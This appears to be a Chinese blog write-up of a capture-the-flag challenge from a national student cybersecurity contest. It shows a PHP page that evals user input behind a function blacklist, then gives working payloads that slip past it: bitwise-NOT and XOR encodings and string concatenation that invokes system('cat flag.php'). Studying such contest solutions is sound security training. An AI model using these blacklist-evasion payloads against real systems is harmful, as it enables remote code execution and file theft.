[第二届全国中学生网络安全竞赛]bypass
2024-10-21 02:53:32
前几天拿到了线下赛的源码,做做看。这道主要是命令执行的黑名单绕过
先看看给出的代码:
<?php
highlight_file(__FILE__);
error_reporting(0);
$blacklist = ["system", "ini_set", "exec", "scandir", "shell_exec", "proc_open", "error_log", "ini_alter", "ini_set", "pfsockopen", "readfile", "echo", "file_get_contents", "readlink", "symlink", "popen", "fopen", "file", "fpassthru"];
$blacklist = array_merge($blacklist, get_defined_functions()['internal']);
foreach($blacklist as $i){
if(stristr($_GET[cmd], $i)!==false){
die('hack');
}
}
eval($_GET[cmd]);
?>
可以看到把内置定义的函数和一些敏感函数都加入了Blacklist,下面这道题的两种解法:
1.取反或异或绕过
已知flag在flag.php文件中,直接构造读取flag.php文件的取反Payload:
(~%20%8D%9A%9E%9B%99%96%93%9A)((~%20%99%93%9E%98%D1%8F%97%8F));
发送请求源代码得到Flag:
同样的,构造一个异或Payload也可以读取到文件内容:
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}("flag.php");&%ff=readfile
2.字符串拼接绕过
这个是赛事主办方给出的ppt上的解法,是通过赋值变量然后拼接字符串实现的命令执行
第一个Payload是通过拼接函数名实现的:
$a='sys'.'tem';$a("cat flag.php");
第二个Payload是通过拼接语句实现的:
$a="syste";$b="m(%27cat%20flag.php%27);";$c=$a.$b;eval($c);
原理都是一样的,就不过多赘述了,啥也不是,散会!
最新文章
- Atitit 软件架构方法的进化与演进cs bs soa roa &#160;msa&#160; attilax总结
- python 解压 压缩包
- 【转】phpcms-v9中关于模型的理解
- 为Go Web App 创建一个主页面
- 第九章 springboot + mybatis + 多数据源 (AOP实现)
- Kali Linux Web 渗透测试视频教程— 第十三课-密码破解
- 第一次配置Android环境
- 自己写的一个关于Linq to Entity 动态查询的例子
- vs2012 断点不能调试
- LVS + keepalived + nginx + tomcat 实现主从热备 + 负载均衡
- JavaScript--execCommand指令集
- hadoop2对比hadoop1
- 有向无环图(DAG)的最小路径覆盖
- JAVA 根据经纬度算出附近的正方形的四个角的经纬度
- CSS.03 -- 浏览器行高、字体;盒子模型--边框、内边距、外边距
- Hibernate的事务处理机制和flush方法的用法
- “一切都是消息”--MSF(消息服务框架)之【请求-响应】模式
- python_19_异常处理
- 让网站永久拥有HTTPS - 申请免费SSL证书并自动续期 Let’s Encrypt
- using Newtonsoft.Json;
热门文章
- GitHub 热点速览 Vol.31:在?跑个 GitHub 评分如何?
- 移动端与Web端疫情数据展示
- Java自学-图形界面 容器
- 2020-06-14:Redis怎么实现分布式锁?
- C#LeetCode刷题之#31-下一个排列(Next Permutation)
- C#LeetCode刷题之#20-有效的括号(Valid Parentheses)
- 搭建 WordPress 博客教程
- 如何隐藏win32 控制台程序的console窗口 2011-06-17 17:59
- Python-Opencv 图像处理基本操作
- Nordic 52840-Timer定时器学习问题(一)